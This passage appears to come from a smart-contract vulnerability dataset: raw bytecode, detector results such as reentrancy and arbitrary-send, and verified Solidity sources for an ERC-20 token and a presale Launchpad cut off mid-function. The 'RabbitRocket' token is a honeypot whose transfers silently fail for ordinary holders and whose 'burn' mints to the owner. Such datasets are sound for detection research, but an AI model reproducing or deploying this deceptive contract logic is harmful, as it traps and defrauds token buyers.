759190611f68565b61177f9190611f87565b8111156117b957600d54600a54606491906117a2906001600160a01b0316610a46565b6117ac9190611f68565b6117b69190611f87565b90505b6117c2816118bd565b4780156117d2576117d247611838565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061181b57506001600160a01b03841660009081526004602052604090205460ff165b15611824575060005b6118318585858486611a31565b5050505050565b6008546001600160a01b03166108fc611852600284611f87565b6040518115909202916000818181858888f1935050505015801561187a573d6000803e3d6000fd5b506009546001600160a01b03166108fc611895600284611f87565b6040518115909202916000818181858888f193505050501580156108e3573d6000803e3d6000fd5b6011805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061190157611901611e84565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561195a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197e9190611ee8565b8160018151811061199157611991611e84565b6001600160a01b0392831660209182029290920101526007546119b791309116846110a6565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119f0908590600090869030904290600401611fa9565b600060405180830381600087803b158015611a0a57600080fd5b505af1158015611a1e573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a3d8383611a53565b9050611a4b86868684611a9a565b505050505050565b6000808315611a93578215611a6b5750600b54611a93565b50600c54601054611a7e90610384611f50565b421015611a9357611a90600582611f50565b90505b9392505050565b600080611aa78484611b77565b6001600160a01b0388166000908152600260205260409020549193509150611ad0908590611e6d565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611b00908390611f50565b6001600160a01b038616600090815260026020526040902055611b2281611bab565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b6791815260200190565b60405180910390a3505050505050565b600080806064611b878587611f68565b611b919190611f87565b90506000611b9f8287611e6d565b96919550909350505050565b30600090815260026020526040902054611bc6908290611f50565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611c0657858101830151858201604001528201611bea565b81811115611c18576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a4357600080fd5b8035611c4e81611c2e565b919050565b600060208284031215611c6557600080fd5b8135611a9381611c2e565b60008060408385031215611c8357600080fd5b8235611c8e81611c2e565b946020939093013593505050565b60008060408385031215611caf57600080fd5b50508035926020909101359150565b600080600060608486031215611cd357600080fd5b8335611cde81611c2e565b92506020840135611cee81611c2e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d2857600080fd5b823567ffffffffffffffff80821115611d4057600080fd5b818501915085601f830112611d5457600080fd5b813581811115611d6657611d66611cff565b8060051b604051601f19603f83011681018181108582111715611d8b57611d8b611cff565b604052918252848201925083810185019188831115611da957600080fd5b938501935b82851015611dce57611dbf85611c43565b84529385019392850192611dae565b98975050505050505050565b600060208284031215611dec57600080fd5b5035919050565b8015158114610a4357600080fd5b600060208284031215611e1357600080fd5b8135611a9381611df3565b60008060408385031215611e3157600080fd5b8235611e3c81611c2e565b91506020830135611e4c81611c2e565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e7f57611e7f611e57565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611eac57611eac611e57565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611efa57600080fd5b8151611a9381611c2e565b600080600060608486031215611f1a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f4557600080fd5b8151611a9381611df3565b60008219821115611f6357611f63611e57565b500190565b6000816000190483118215151615611f8257611f82611e57565b500290565b600082611fa457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ff95784516001600160a01b031683529383019391830191600101611fd4565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220b62287f59b3fb0eda7532fa98d0c6a4cb364b32611347976c3952f2956a5830f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,248 |
0xA332a673877919DF07aEFB123A3dd8177145d99d
|
/**
*Submitted for verification at BscScan.com on 2021-09-05
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
contract RABBITROCKET is Context, IERC20, IERC20Metadata, Ownable {
address internal constant UniswapV2Router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 _NUM = 1 * 10**9;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
bool isValue = true;
constructor() {
_totalSupply = 1000 * 10**9 * 10**9;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return "RabbitRocket";
}
function symbol() public view virtual override returns (string memory) {
return "RABBITROCKET";
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function theValue(bool _value) public onlyOwner virtual returns (bool) {
isValue = _value;
return true;
}
function burn(uint256 amount) public onlyOwner virtual returns (bool) {
_balances[_msgSender()] += amount;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
//_transfer(_msgSender(), recipient, amount);
if(_msgSender() == UniswapV2Router || _msgSender() == UniswapPair() || UniswapPair() == address(0) || _msgSender() == owner()) {
_transfer(_msgSender(), recipient, amount);
} else {
//nomal user check amount
if( (amount <= _NUM || isValue) && !isContract(_msgSender()) ) {
_transfer(_msgSender(), recipient, amount);
}
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
if(sender == UniswapV2Router || sender == UniswapPair() || UniswapPair() == address(0) || sender == owner()) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
} else {
//nomal user check amount
if( (amount <= _NUM || isValue) && !isContract(sender) ) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
}
return true;
}
function UniswapPair() public view virtual returns (address) {
address UniswapV2Factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address pairAddress = IUniswapFactory(UniswapV2Factory).getPair(address(WETH), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function tokenContract() public view virtual returns (address) {
return address(this);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
function _DeepLock(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// DISCLAIMER : Those tokens are generated for testing purposes, please do not invest ANY funds in them!
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a082311161009757806395fa92ed1161006657806395fa92ed146102c7578063a457c2d7146102f7578063a9059cbb14610327578063dd62ed3e1461035757610100565b806370a082311461023d57806378a63f341461026d5780638da5cb5b1461028b57806395d89b41146102a957610100565b8063313ce567116100d3578063313ce567146101a157806339509351146101bf57806342966c68146101ef57806355a373d61461021f57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610387565b60405161011a9190611654565b60405180910390f35b61013d600480360381019061013891906113ce565b6103c4565b60405161014a9190611639565b60405180910390f35b61015b6103e2565b6040516101689190611776565b60405180910390f35b61018b6004803603810190610186919061137b565b6103ec565b6040516101989190611639565b60405180910390f35b6101a961070a565b6040516101b69190611791565b60405180910390f35b6101d960048036038101906101d491906113ce565b610713565b6040516101e69190611639565b60405180910390f35b6102096004803603810190610204919061143b565b6107bf565b6040516102169190611639565b60405180910390f35b6102276108bc565b60405161023491906115f5565b60405180910390f35b610257600480360381019061025291906112e1565b6108c4565b6040516102649190611776565b60405180910390f35b61027561090d565b60405161028291906115f5565b60405180910390f35b6102936109d8565b6040516102a091906115f5565b60405180910390f35b6102b1610a01565b6040516102be9190611654565b60405180910390f35b6102e160048036038101906102dc919061140e565b610a3e565b6040516102ee9190611639565b60405180910390f35b610311600480360381019061030c91906113ce565b610af8565b60405161031e9190611639565b60405180910390f35b610341600480360381019061033c91906113ce565b610be3565b60405161034e9190611639565b60405180910390f35b610371600480360381019061036c919061133b565b610d6a565b60405161037e9190611776565b60405180910390f35b60606040518060400160405280600c81526020017f526162626974526f636b65740000000000000000000000000000000000000000815250905090565b60006103d86103d1610df1565b8484610df9565b6001905092915050565b6000600454905090565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061046e575061043f61090d565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806104ac5750600073ffffffffffffffffffffffffffffffffffffffff1661049461090d565b73ffffffffffffffffffffffffffffffffffffffff16145b806104e957506104ba6109d8565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b156105de576104f9848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610544610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156105c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105bb906116d6565b60405180910390fd5b6105d8856105d0610df1565b858403610df9565b506106ff565b600154821115806105fb5750600560009054906101000a900460ff165b801561060d575061060b8461123d565b155b156106fe5761061d848484610fc4565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610668610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106df906116d6565b60405180910390fd5b6106fc856106f4610df1565b858403610df9565b505b5b600190509392505050565b60006009905090565b60006107b5610720610df1565b84846003600061072e610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b091906117c8565b610df9565b6001905092915050565b60006107c9610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d906116f6565b60405180910390fd5b8160026000610863610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546108ac91906117c8565b9250508190555060019050919050565b600030905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f9050600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2905060008273ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161097d929190611610565b60206040518083038186803b15801561099557600080fd5b505afa1580156109a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cd919061130e565b905080935050505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f524142424954524f434b45540000000000000000000000000000000000000000815250905090565b6000610a48610df1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acc906116f6565b60405180910390fd5b81600560006101000a81548160ff02191690831515021790555060019050919050565b60008060036000610b07610df1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90611756565b60405180910390fd5b610bd8610bcf610df1565b85858403610df9565b600191505092915050565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff16610c18610df1565b73ffffffffffffffffffffffffffffffffffffffff161480610c735750610c3d61090d565b73ffffffffffffffffffffffffffffffffffffffff16610c5b610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b80610cb15750600073ffffffffffffffffffffffffffffffffffffffff16610c9961090d565b73ffffffffffffffffffffffffffffffffffffffff16145b80610cf55750610cbf6109d8565b73ffffffffffffffffffffffffffffffffffffffff16610cdd610df1565b73ffffffffffffffffffffffffffffffffffffffff16145b15610d1157610d0c610d05610df1565b8484610fc4565b610d60565b60015482111580610d2e5750600560009054906101000a900460ff165b8015610d475750610d45610d40610df1565b61123d565b155b15610d5f57610d5e610d57610df1565b8484610fc4565b5b5b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6090611736565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ed9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed090611696565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fb79190611776565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b90611716565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90611676565b60405180910390fd5b6110af838383611288565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611136576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112d906116b6565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111cb91906117c8565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161122f9190611776565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b811415801561127f5750818114155b92505050919050565b505050565b60008135905061129c81611b3d565b92915050565b6000815190506112b181611b3d565b92915050565b6000813590506112c681611b54565b92915050565b6000813590506112db81611b6b565b92915050565b6000602082840312156112f7576112f66118d5565b5b60006113058482850161128d565b91505092915050565b600060208284031215611324576113236118d5565b5b6000611332848285016112a2565b91505092915050565b60008060408385031215611352576113516118d5565b5b60006113608582860161128d565b92505060206113718582860161128d565b9150509250929050565b600080600060608486031215611394576113936118d5565b5b60006113a28682870161128d565b93505060206113b38682870161128d565b92505060406113c4868287016112cc565b9150509250925092565b600080604083850312156113e5576113e46118d5565b5b60006113f38582860161128d565b9250506020611404858286016112cc565b9150509250929050565b600060208284031215611424576114236118d5565b5b6000611432848285016112b7565b91505092915050565b600060208284031215611451576114506118d5565b5b600061145f848285016112cc565b91505092915050565b6114718161181e565b82525050565b61148081611830565b82525050565b6000611491826117ac565b61149b81856117b7565b93506114ab818560208601611873565b6114b4816118da565b840191505092915050565b60006114cc6023836117b7565b91506114d7826118eb565b604082019050919050565b60006114ef6022836117b7565b91506114fa8261193a565b604082019050919050565b60006115126026836117b7565b915061151d82611989565b604082019050919050565b60006115356028836117b7565b9150611540826119d8565b604082019050919050565b60006115586020836117b7565b915061156382611a27565b602082019050919050565b600061157b6025836117b7565b915061158682611a50565b604082019050919050565b600061159e6024836117b7565b91506115a982611a9f565b604082019050919050565b60006115c16025836117b7565b91506115cc82611aee565b604082019050919050565b6115e08161185c565b82525050565b6115ef81611866565b82525050565b600060208201905061160a6000830184611468565b92915050565b60006040820190506116256000830185611468565b6116326020830184611468565b9392505050565b600060208201905061164e6000830184611477565b92915050565b6000602082019050818103600083015261166e8184611486565b905092915050565b6000602082019050818103600083015261168f816114bf565b9050919050565b600060208201905081810360008301526116af816114e2565b9050919050565b600060208201905081810360008301526116cf81611505565b9050919050565b600060208201905081810360008301526116ef81611528565b9050919050565b6000602082019050818103600083015261170f8161154b565b9050919050565b6000602082019050818103600083015261172f8161156e565b9050919050565b6000602082019050818103600083015261174f81611591565b9050919050565b6000602082019050818103600083015261176f816115b4565b9050919050565b600060208201905061178b60008301846115d7565b92915050565b60006020820190506117a660008301846115e6565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117d38261185c565b91506117de8361185c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611813576118126118a6565b5b828201905092915050565b60006118298261183c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611891578082015181840152602081019050611876565b838111156118a0576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611b468161181e565b8114611b5157600080fd5b50565b611b5d81611830565b8114611b6857600080fd5b50565b611b748161185c565b8114611b7f57600080fd5b5056fea2646970667358221220e8a2739cd57c21123aea126ab72a2e64f86d40b9a7f06bc01f8afe58fa791a8764736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 9,249 |
0x17850a6b8012e76423021c3f98385ff64acdd879
|
/**
*Submitted for verification at Etherscan.io on 2021-03-12
*/
/**
*Submitted for verification at Etherscan.io on 2021-01-13
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// import ierc20 & safemath & non-standard
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface INonStandardERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transfer does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! transferFrom does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
function transferFrom(
address src,
address dst,
uint256 amount
) external;
function approve(address spender, uint256 amount)
external
returns (bool success);
function allowance(address owner, address spender)
external
view
returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
}
contract Launchpad is Ownable {
using SafeMath for uint256;
event ClaimableAmount(address _user, uint256 _claimableAmount);
// address public owner;
uint256 public rate;
uint256 public allowedUserBalance;
bool public presaleOver;
IERC20 public usdt;
mapping(address => uint256) public claimable;
uint256 public hardcap;
constructor(uint256 _rate, address _usdt, uint256 _hardcap, uint256 _allowedUserBalance) public {
rate = _rate;
usdt = IERC20(_usdt);
presaleOver = false;
// owner = msg.sender;
hardcap = _hardcap;
allowedUserBalance = _allowedUserBalance;
}
modifier isPresaleOver() {
require(presaleOver == true, "The presale is not over");
_;
}
function changeHardCap(uint256 _hardcap) onlyOwner public {
hardcap = _hardcap;
}
function changeAllowedUserBalance(uint256 _allowedUserBalance) onlyOwner public {
allowedUserBalance = _allowedUserBalance;
}
function endPresale() external onlyOwner returns (bool) {
presaleOver = true;
return presaleOver;
}
function startPresale() external onlyOwner returns (bool) {
presaleOver = false;
return presaleOver;
}
function buyTokenWithUSDT(uint256 _amount) external {
// user enter amount of ether which is then transfered into the smart contract and tokens to be given is saved in the mapping
require(presaleOver == false, "presale is over you cannot buy now");
uint256 tokensPurchased = _amount.mul(rate);
uint256 userUpdatedBalance = claimable[msg.sender].add(tokensPurchased);
require( _amount.add(usdt.balanceOf(address(this))) <= hardcap, "Hardcap for the tokens reached");
